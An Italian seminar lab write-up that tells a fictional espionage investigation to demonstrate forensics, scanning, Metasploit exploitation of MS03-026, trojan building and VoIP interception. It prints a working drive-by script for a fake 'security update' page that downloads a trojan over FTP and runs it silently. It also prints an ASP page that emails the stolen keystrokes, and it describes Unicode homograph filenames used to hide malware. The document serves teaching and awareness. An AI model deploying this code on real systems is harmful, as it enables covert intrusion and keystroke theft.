Cyberspace Threats and vulnerabilities

Transcript

1 Cyberspace Threats and vulnerabilities Francesco Arruzzoli, Cristiano Orlandi EHG2 SISIT (Società Italiana delle Scienze Informatiche e Tecnologiche) ATTENZIONE IL PRESENTE DOCUMENTO HA SCOPO ESCLUSIVAMENTE DIDATTICO ED INFORMATIVO, L UTILIZZO NON AUTORIZZATO DELLE TECNICHE E METODOLOGIE DI SEGUITO ILLUSTRATE SU DISPOSITIVI ALTRUI È SEVERAMENTE VIETATO E VIENE PERSEGUITO A NORMA DI LEGGE

2 Introduzione Anche quest anno vogliamo iniziare questa breve documentazione ringraziando i numerosissimi partecipanti presenti alla sessione di laboratorio e le tante di gradimento che abbiamo ricevuto, questo ci spinge a fare sempre meglio e a darvi appuntamento a presto. E anche quest anno per rendere più leggera la presentazione del laboratorio, considerando il dopo pranzo, abbiamo deciso di presentare complesse tecniche e metodologie di attacco attraverso la recitazione di una storia immaginaria elaborata però da esperienze professionali realmente accadute. I temi trattati non hanno avuto certamente un approccio tecnico approfondito ma il nostro obiettivo era quello di portare a conoscenza dei partecipanti l esistenza di tali tecniche e minacce cercando di far capire le modalità di innesco e realizzazione senza entrare nel dettaglio. Questo breve documento ha proprio lo scopo di approfondire tecnicamente quello che vi abbiamo mostrato nel laboratorio del seminario. La scenografia Per realizzare il laboratorio sono stati utilizzati 9 host, 2 switch, 1 Access Point, 2 telefono VOIP cordless e una network camera (Figura 1). Per poter disporre di 9 host in rete sul palco sono state utilizzate diverse tecnologie di virtualizzazione: VMWare, Microsoft Hypervisor e VirtualBox. 6 Figura 1 2

3 1 2 3 PC portatile con sistema operativo Linux in versione BackTrack, utilizzato da Arruzzoli/ Orlandi per effettuare le attività di analisi e sviluppo. Nel PC è stato installato il sistema di Virtualizzazione Virtualbox tramite il quale è stata creata una macchina virtuale basata su Sistema operativo XP ( 10 ) utilizzata da Arruzzoli come laboratorio per creare il programma Trojan. PC portatile con sistema operativo Windows Vista. Nel PC è stato installato il sistema di Virtualizzazione VMWare tramite il quale sono state create due macchina virtuali, la prima basata su Sistema operativo XP ( 9 ) utilizzata come Workstation dal Sospetto e la seconda basata su Windows 2003 Server ( 8 ) su cui è stato installato un centralino VOIP Server 3CX per gestire i telefoni VOIP wireless utilizzati nella dimostrazione ( 11 ). PC portatile con sistema operativo Windows 2008 Server. Nel PC è stato attivato il sistema di virtualizzazione HyperVisor di Microsoft tramite il quale sono state create tre macchine virtuali, la prima basata su Sistema operativo Windows 2003 Server SP1 ( 4 ) utilizzata come WEB Server intranet della sede cinese della AXAN, la seconda basata su Windows 2003 Server SP2 ( 5 ) che rappresentava il dominio aziendale axan.intranet e nella quale sono stati attivati i seguenti servizi : Active Directory, DNS, WINS, Certification Authority, DHCP e Mail Server e la terza macchina basata su sistema operativo Linux SUSE utilizzata come file server aziendale ( 7 ). 6 Network Camera utilizzata per effettuare le riprese dei dettagli sul palco 12 Switch utilizzato per creare la sottorete LAN (VLAN 1) della immaginaria sede della AXAN a Lanciano ( /24) 13 Switch utilizzato per creare la sottorete LAN (VLAN 2) della immaginaria sede della AXAN a Beijing ( /24) Tutto quello che vi è stato mostrato è stato realmente realizzato dal vivo, unica eccezione la trasmissione satellitare con l amministratore delegato della AXAN, dove per ovvi motivi logistici abbiamo dovuto simulare nella parte di comunicazione non potendo effettuare un reale collegamento satellitare, ma gli strumenti mostrati (ad es. l antenna) sono realmente utilizzati per effettuare tali collegamenti. 3

4 La Storia (AXAN Stories episodio 2) Ancora una volta gli Ethical Hacker / Security Analyst del gruppo EHG2 (Francesco Arruzzoli e Cristiano Orlandi) sono convocati presso la sede AXAN di Lanciano per effettuare delle attività di digital investigation su alcune vicende sospette accadute all interno dell azienda e più precisamente nella sede cinese dell AXAN a Beijing. Orlandi arriva per primo all AXAN e dopo aver sbrigato le pratiche burocratiche attende l arrivo del collega Francesco Arruzzoli. Quando Arruzzoli arriva trova Orlandi che è intento a provare un rilevatore laser di sostanze chimiche (Aidex nella realtà distribuito dalla PMB tecnologie avanzate) in grado in pochi secondi di riconoscerne varie tipologie (come ad es. esplosivi, droghe, etc.); dopo una veloce dimostrazione dell apparecchiatura, Arruzzoli prepara il trasmettitore satellitare portatile ( Immersat nella realtà distribuito dalla PMB tecnologie avanzate ) per effettuare una videoconferenza con l amministratore delegato dell AXAN che si trova nella sede aziendale in Australia. Una volta iniziata la videoconferenza l A.D. manifesta all EHG2 dei sospetti nei riguardi di un suo dirigente della ricerca e sviluppo presso la sede di Beijing, che reputa infedele all azienda e sospetta che il personaggio in questione un certo Barnaby Jones stia tentando di vendere a un gruppo di criminali sovietici i progetti del sistema di crittografia quantistica della AXAN: il progetto Q ( per maggiori informazioni sulla crittografia quantistica: ). Per avvalorare questa ipotesi l A.D. racconta un episodio in cui il resp. della sicurezza AXAN di Beijing aveva notato Barnaby Jones in un parcheggio aziendale mentre era intento a consegnare ad un personaggio non identificato una macchina fotografica digitale, contrariamente ad un regolamento dell AXAN che proibisce a tutti i dipendenti di portare in azienda qualsiasi tipo di strumento in grado di fotografare e/o fare riprese video. Prontamente il resp. della sicurezza era intervenuto mettendo in fuga la persona non identificata e sequestrando la macchina fotografica, che però ad una successiva analisi da parte dello stesso risultava avere la memoria completamente vuota, tuttavia l A.D. richiede che la macchina venga spedita alla sede della AXAN a Lanciano per essere esaminata dagli EHG2. L A.D. prega quindi l EHG2 di iniziare le attività investigazione all interno della propria azienda in modo da far luce sull accaduto. La Sede AXAN di Beijing La Sede AXAN di Lanciano La videoconferenza satellitare con L Amministratore della AXAN Il sospetto L EHG2 accetta il caso ed inizia ad investigare.. 4

5 Fase 1 : Analisi della memoria della macchina fotografica digitale. L EHG2 inizia ad investigare partendo dall analisi della memoria digitale della macchina fotografica sequestrata a Barnaby Jones. Scopo dell analisi è quello di cercare di recuperare eventuali tracce di file dati e/o immagini cancellati nella memoria digitale. Questa tecnica detta in gergo tecnico Data Carving che consiste nell analizzare il contenuto di un dispositivo di memorizzazione di massa, quali Hard Disk, SD, minsd, etc.., mettendosi alla ricerca di header, footer o comunque qualsiasi forma di dato strutturato associabile ad un file. Per non rischiare di modificare le informazioni sulla memoria digitale analizzata è bene lavorare su una copia di essa perfettamente identica alla memoria originale, questo permette di rendere ripetebile i test di analisi ed al contempo evita di inquinare la memoria oggetto di analisi. Per effettuare la copia della memoria digitale l EHG2 decide di utilizzare un ambiente Linux e il programma DCFLDD; tale combinazione viene spesso utilizzata nel campo della computer forensic proprio per effettuare delle copie che possono essere certificate come identiche all originale. Il sistema Linux infatti permette di collegare una memoria digitale senza montare automaticamente eventuali volumi in essa contenuti evitando così modifiche al file system a alle informazioni memorizzate. Il comando DCFLDD permette invece di effettuare una copia (su file o direttamente su un altra memoria fisica) di basso livello (bitstream copy) della memoria selezionata, questo permette quindi di copiare anche le eventuali tracce di file cancellati. Di fatto quando viene cancellato un file il sistema operativo rende disponibile lo spazio occupato da quel file per la sovrascrittura, quindi fino a quando quello spazio non sarà sovrascritto completamente sarà sempre possibile estrarre il file o parte di esso dalla memoria. Anche la formattazione veloce di fatto elimina gli indici del file system ma non sovrascrive i dati presenti. Orlandi comincia quindi con l acquisizione di una copia della memoria digitale (da 128 MB) della macchina fotografica inserendola in un lettore usb collegato al PC e successivamente procedendo alla copia attraverso il comando DCFLDD (fig.2) (Figura 2) 5

6 La sintassi utilizzata con il comando DCFLDD utilizza i seguenti parametri : sorgente buffer di copia dcfldd if=/dev/sda of=/root/desktop/fotolanciano.img bs=4096 destinazione Terminata l operazione di copia Orlandi passa alla seconda fase : analisi della memoria. Per effettuare l analisi alla ricerca di file cancellati Orlandi utilizza The Sleuth Kit, un tools in ambiente Linux, molto conosciuto in ambito della computer forensic in grado di gestire l intera fase di investigazione e analisi delle tracce digitali tramite la semplice ed intuitiva interfaccia WEB conosciuta come Autopsy (Figura 3). Figura 3 6

7 Il file di copia dell immagine viene importato per essere analizzato (Figura 4). Figura 4 Si effettua l analisi e si estraggono i file desiderati, compresi eventuali file cancellati ma recuperabili (Figura 5). Figura 5 7

8 Dai file recuperati Orlandi e Arruzzoli notano alcune immagine relative al progetto Q e capiscono che il sospetto(barnaby Jones) sembra davvero coinvolto in una qualche attività di spionaggio industriale, così decidono di controllare tutte le attività che il sospetto effettua all interno della AXAN. Fase 2: Information Gathering Per fare questo Orlandi e Arruzzoli devono intercettare tutte le attività svolte dal sospetto sul proprio PC e sulla rete dell AXAN. Arruzzoli decide di effettuare innanzitutto una analisi della sottorete dell AXAN a Beijing attraverso il programma NMAP. Grazie ad NMAP è possibile effettuare, in tempi rapidi, un analisi dettagliata di tutti gli host connessi in rete ottenendo diverse informazioni come ad esempio porte e servizi attivi, tipo di sistema operativo, etc.. Altro aspetto molto importante è che NMAP permette un analisi della rete attraverso varie modalità che possono essere più o meno invasive. Una di queste modalità è quella denominata stealth dove attraverso la dichiarazione di specifici parametri, NMAP effettua una analisi invisibile agli occhi degli host analizzati e ad altri apparati o soluzioni (ad es. Intrusion Detection, firewall, etc.). Sfruttando proprio questa particolare funzionalità di NMAP Arruzzoli effettua una scansione stealth della sottorete avvalendosi dell interfaccia grafica di NMAP (che storicamente viene utilizzato da riga di comando) : ZENMAP (Figura 6). Figura 6 Al termine dell esecuzione del comando NMAP Arruzzoli analizza i risultati e nota che tra gli host indviduati sono presenti dei sistemi operativi Windows 2003 con molti servizi attivi (Figura 7). Decide allora di effettuare un vulnerability assessment su questi host per cercare di individuare eventuali brecce nella sicurezza da utilizzare per controllare il sospetto. 8

9 Figura 7 Arruzzoli effettua un Vulnerability Assessment utilizzando Nessus (Figura 8) un programma client server open source che tramite lo scan e l'abilitazione di appositi plugin configurabili analizza a seconda della tipologia di host eventuali vulnerabilità presenti (Figura 9), suggerendo le possibili soluzioni e creando report di facile analisi (Figura 10) in vari formati (HTML, pdf, etc etc). Figura 8 9

10 Il report di analisi effettuato da Nessus (Figura 10) mette in evidenza nella sottorete x una vulnerabilità (security hole) relativa ad un servizio attivo su uno dei server analizzati. In particolare il security hole si riferisce al servizio RPC che non essendo stato adeguatamente aggiornato (Microsoft Security Bulletin MS03 026) permette di eseguire codice da remoto sfruttando un bug di programmazione. Figura 9 Figura 10 10

11 Attraverso un analisi del DNS intranet, effettuata con il programma dnswalk (Figura 11), scopre che il server su cui è attivo il servizio RPC è il server intranet della AXAN. Arruzzoli decide di sfruttare la vulnerabilità MS per realizzare un attacco informatico mirato a controllare e monitorare tutte le attività del sospetto, sfruttando proprio il server intranet come veicolo di trasmissione di un trojan con funzionalità di key logger, cioè in grado di registrare le sequenze di tasti digitati sulla tastiera e trasmetterle ad un utente remoto. Figura 11 Per realizzare l attacco vengono pianificate le seguenti fasi preparatorie : 1) Entrare nel server remoto sfruttando la vulnerabilità MS ) Realizzare un trojan in grado di potersi camuffare adeguatamente, installare automaticamente ed essere autonomo nelle attività di acquisizione e invio delle informazioni. 3) Social engineering : creare le modalità ed i contesti per rendere insospettabile l installazione e l attività del trojan. Per effettuare l attacco attraverso la vulnerabilità MS Arruzzoli utilizza Metasploit (Figura 12), un vero e proprio framework per la creazione di exploits. Gli exploits disponibili per Metasploit possono essere configurati in ogni singola parte per meglio adattarsi al target in questione. E possibile selezionare un payload da lanciare al termine dell esecuzione del exploit per permettere all utente di eseguire codice e/o qualsiasi altra operazione. Nel caso specifico Arruzzoli utilizza la versione web client del framework Metasploit, selezionando tra gli exploits proprio quello relativo alla vulnerabilità MS (Figura 13). 11

12 Figura 12 Figura 13 12

13 Una volta selezionato l exploits Arruzzoli seleziona il payload e in questo caso decide di far eseguire una sessione VNC remota per analizzare direttamente il server con un collegamento desktop remoto e quindi impostati i principali parametri di attacco lo esegue (Figura 14). Figura 14 In pochi secondi l exploits viene eseguito (Figura 15) e successivamente anche il payload (Figura 16) Figura 15 Figura 16 Una volta entrato nel server Arruzzoli verifica la struttura del server e lo predispone per l attacco. 13

14 Fase 3: controllo delle comunicazioni informatiche La fase successiva prevede la realizzazione di Trojan in grado svolgere attività di key logger. Per realizzare questo programma Arruzzoli allestisce un laboratorio virtuale installando una Macchina Virtuale con sistema operativo Windows XP e il relativo ambiente di sviluppo. La realizzazione di un laboratorio tramite macchine virtuali è altamente raccomandato in quanto Arruzzoli decide di attingere a codice sorgente disponibile in rete relativo a diverse tipologie di virus, spyware e trojan, una esecuzione involontaria di questi codici potrebbe compromettere pesantemente un sistema operativo, quindi la scelta di un ambiente virtuale rende più sicuro ed isolato l ambiente di sviluppo. Arruzzoli utilizza come ambiente Virtuale Virtualbox (per maggiori informazioni: in un ambiente operativo Linux (Figura 17). Figura 17 Arruzzoli prendendo spunto da codici esistenti realizza un generatore di Trojan in grado di personalizzare i parametri principali per il suo corretto funzionamento. I Trojan generati sono in grado, una volta eseguiti, di mutare in un file diverso dall eseguibile iniziale con un nome apparentemente uguale a quelli utilizzati da i processi del sistema operativo di Microsoft (ad es. csrss.exe). Infatti per rendere ancora più invisibile il trojan Arruzzoli sfrutta i codici unicode per nominare il file eseguibile. Sfruttando, infatti, la caratteristica omografica dei caratteri unicode è possibile utilizzare caratteri graficamente uguali ma appartenenti a set diversi (ad es. set latino e set cirillico) in questo modo lo stesso carattere graficamente uguale sarà riconosciuto dasl sistema operativo con codici diversi (Figura 18 ). 14

15 File con lo stesso nome nella stessa cartella? No il nome pippo.txt del primo file utilizza il carattere p del set cirillico che è identificato da un altro codice. Figura 18 Per creare il nome del file con un set di caratteri diversi Arruzzoli un programma realizzato dagli ehg2 (Figura 19). Terminata la preparazione dei parametri il Trojan viene creato (Figura 20). Figura 19 Figura 20 15

16 Una volta realizzato il programma Trojan viene preparata la sequenza di attacco e distribuzione. Avendo ottenuto accesso al sito intranet aziendale viene posto in evidenza nella home page un presunto messaggio dell amministrazione che obbliga gli utenti ad effettuare un aggiornamento di sicurezza (Figura 21). Figura 21 Ora l obiettivo principale è quello di far scaricare ed eseguire il trojan automaticamente. Questa operazione si articola in due fasi: 1. Creazione di uno script in grado di effettuare il download del trojan. 2. Creazione di uno script per eseguire localmente il Trojan dopo il download Questi devono essere eseguiti senza che i sistemi di protezione (ad es. antivirus) li blocchino, l intera sequenza viene completa così in un solo click di mouse (Figura 22). Figura 22 16

17 L esecuzione degli script viene facilitata anche dalle impostazioni dei web browser configurati, per gli indirizzi della rete interna, con un livello meno restrittivo della sicurezza (come ad es. il sito intranet dell AXAN), supponendo che tali indirizzi, essendo aziendali, siano sicuri. Una prima parte dello script viene eseguita quando la pagina (SecurityUpdate.html ) viene caricata nel web browser, il codice sfrutta l oggetto FileSystemObject di Microsoft per creare un file di testo (ftpparam.txt) contenente tutti i comandi per effettuare il download del trojan tramite una sessione FTP e un file batch (ftpstart.bat) che invece eseguirà la connessione ftp passando i comandi inseriti nel file precedente : <HTML> <HEAD> <TITLE>Security Update 115/08 AXAN industries </TITLE> <SCRIPT LANGUAGE="VBScript"> Set fs = CreateObject("Scripting.FileSystemObject") Set a = fs.createtextfile("c:\windows\ftpparam.txt") a.writeline("open ") a.writeline("anonymous") a.writeline("anonymous") a.writeline("binary") a.writeline("hash") a.writeline("lcd c:\windows") a.writeline("get SecurityUpdate.exe") a.writeline("bye") a.close Set fs = CreateObject("Scripting.FileSystemObject") Set a = fs.createtextfile("c:\windows\ftpstart.bat") a.writeline("ftp s:c:\windows\ftpparam.txt") a.close </SCRIPT>. 17

18 La seconda parte dello script esegue il file batch attraverso l utilizzo dell oggetto WScript.shell, il parametro true nella riga: shell.run('"c:\\windows\\ftpstart.bat"',1, true); indica che prima di eseguire altro codice il browser deve attendere la fine del comando (download del trojan) :. <SCRIPT LANGUAGE="javascript"> var shell = new ActiveXObject("WScript.shell"); shell.run('"c:\\windows\\ftpstart.bat"',1, true); shell.quit; </SCRIPT> </HEAD> <BODY>.. Appena terminato il download viene eseguita l ultima parte di codice, l attivazione del trojan: </BODY> <SCRIPT LANGUAGE="javascript"> var shell = new ActiveXObject("WScript.shell"); shell.run('"c:\\windows\\securityupdate.exe "'); shell.quit; </SCRIPT> </html> Il Trojan una volta eseguito muta in un nuovo file (csrss.exe) cancellando il precedente (SecurityUpdate.exe) e tutti i file creati per effettuare l attacco (ftpparam.txt e ftpstart.bat). A questo punto il trojan comincia ad acquisire le informazioni ed ad inviarle attraverso una connessione http alla pagina .asp. Infatti durante l analisi del server intranet Arruzzoli aveva notato che tale server disponeva di un servizio smtp utilizzato da altre applicazioni, il file .asp sfruttando l oggetto CDO di Microsoft invia attraverso il servizio smtp le mail con le informazioni raccolte dal trojan ad Arruzzoli (Figura 23) 18

19 Pagina .asp : <html> <body> <% Set mymail=createobject("cdo.message") mymail.subject="sending with CDO" mymail.from="logger@test.spy" mymail.to= Request(" ") mymail.htmlbody="<html><body>"&request("contenuto") & "</body></html>" mymail.send set mymail=nothing %> </body> </html> Figura 23 19

20 Dalle informazioni raccolte tramite il trojan Arruzzoli ed Orlandi ottengono le prove necessarie per dimostrare gli accessi illeciti del sospetto ai file riservati del progetto Q. Per completare l indagine Orlandi ritiene opportuno monitorare anche le telefonate effettuate e ricevute dal sospetto in Azienda e quindi decide di recarsi a Beijing per effettuare il controllo telefonico e tentare di mettere sottopressione il sospetto nella speranza di un suo passo falso. Appena giunto alla sede della AXAN a Beijing, in accordo con l A.D. si presenta come auditor per la sicurezza dei sistemi informatici aziendali, con una scusa ottenuto l accesso ad un locale secondario dell azienda connette il suo portatile alla rete aziendale ed esegue un Man in the middle (per maggiori informazioni sul M.I.T.M. vedi ) tra i telefoni VOIP del sospetto e la centrale telefonica aziendale, eseguendo inoltre il programma CAIN per effettuare la registrazione delle conversazioni (figura 24). Dopo alcuni minuti incontra il sospetto e attraverso una attività di social engineering lo innervosisce, a questo punto il sospetto appena Orlandi si congeda da lui telefona immediatamente al complice permettendo così a Orlandi di registrare la conversazione e il numero di telefono chiamato. 04/10/ :21:32 04/10/ :25: :42004 (PCMU,8khz,Mono) ***** (PCMU,8khz,Mono) RTP WAV byt Figura 24 Raccolte tutte queste evidenze in una dettagliata relazione Orlandi e Arruzzoli consegnano il tutto all A.D. dell AXAN che dopo averli ringraziati e congedati procede in merito alla situazione.fine della storia. 20

21 Riferimenti : Autopsy CAIN Crittografia quantistica DCFLDD DNSWALK EHG2 NESSUS NMAP, ZENMAP SISIT (Società Italiana delle Scienze Informatiche e Tecnologiche) 21